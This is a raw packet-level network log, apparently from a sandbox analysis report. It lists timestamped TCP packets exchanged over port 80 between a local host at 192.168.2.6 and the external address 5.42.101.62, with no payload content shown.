Sep 30, 2024 13:59:27.199457884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199457884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199470043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199480057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199486017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199498892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199518919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199526072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199529886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199538946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199548006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199549913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199562073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199568987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199573994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199584007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199589014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199603081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199611902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199615002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199625015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199640989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199655056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199666977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199681997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199682951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199688911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199695110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199712992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199719906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199724913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199748993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199753046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199764967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199769974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199784994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199790001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199800968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199801922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199812889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199819088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199834108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199853897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199862003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199873924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199884892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199893951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199896097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199914932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199938059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199939966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199949026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199960947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199973106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199973106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199989080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200001001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200018883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200022936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200038910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200051069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200058937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200062037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200073957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200078011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200097084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200113058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200248003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200259924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200270891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200284004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200303078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200304031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200314045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200325012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200340986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200366020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200747967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200772047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200781107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200783968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200793982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200805902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200809002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200820923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200839996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200840950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200851917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200862885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.200875044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.200901031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201113939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201127052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201150894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201174021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201200962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201211929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201221943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201234102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201246023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201263905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201272964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201284885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201294899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201309919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201317072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201338053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201386929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201399088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201415062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201421976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201426029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201433897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201436996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201467037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201488972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201500893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201512098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201518059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201528072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201530933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201529026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201529026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201529026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201545000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201591969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201591969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201591969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201600075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201610088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201632023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201644897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201661110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201673031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201683998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201709032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201709986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201725960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201733112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201752901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201760054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201822996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201880932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201889992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201900005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201917887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201932907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201941013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201950073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201961040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201972961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.201983929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.201987982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202007055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202020884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202023029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202030897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202043056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202054024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202068090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202085972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202120066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202131033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202141047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202155113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202167988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202173948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202183008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202187061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202198982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202209949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202227116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202235937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202275991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202286005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202299118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202310085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202311993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202322006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202343941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202352047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202385902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202420950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202450037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202461004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202483892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202493906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202825069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202837944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202847958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202860117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202867985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202873945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202879906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202889919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202900887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202903986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202909946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.202933073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.202955961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290153027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290180922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290191889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290203094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290205002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290214062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290224075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290229082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290236950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290272951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290431976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290441990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290452957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290462971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290468931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290482998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290486097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290496111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290507078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290512085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290517092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290528059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290537119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290544987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290555954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290560961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290568113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290579081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290604115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290628910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290631056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290652037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290667057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290668011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290709972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290709972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290760040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290771961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290781975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290791988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290797949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290802956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290813923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290839911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290909052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290920973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290931940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290941954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290951967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290954113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290977001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290977955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290987968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.290992022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.290998936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291009903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291012049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291035891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291038036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291049957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291059971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291064978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291070938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291081905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291098118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291119099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291158915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291169882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291182041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291192055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291192055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291198015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291208029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291217089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291218996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291246891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291260958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291270971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291591883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291676998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291688919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291698933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291708946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291723967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291727066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291738033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291745901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291749001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291759968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291768074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291770935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.291788101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.291812897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292107105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292119026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292129040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292139053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292140007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292150021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292155981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292188883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292191029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292201996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292212009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292222023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292222977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292244911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292248011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292256117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292267084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292275906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292277098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292290926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292293072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292309046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292315960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292332888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292350054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292392015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292403936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292428970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292438030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292439938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292439938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292448044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292459965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292463064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292469978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292480946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292484999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292498112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292522907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292628050 CEST	80	49721	5.42.101.62	192.168.2.6
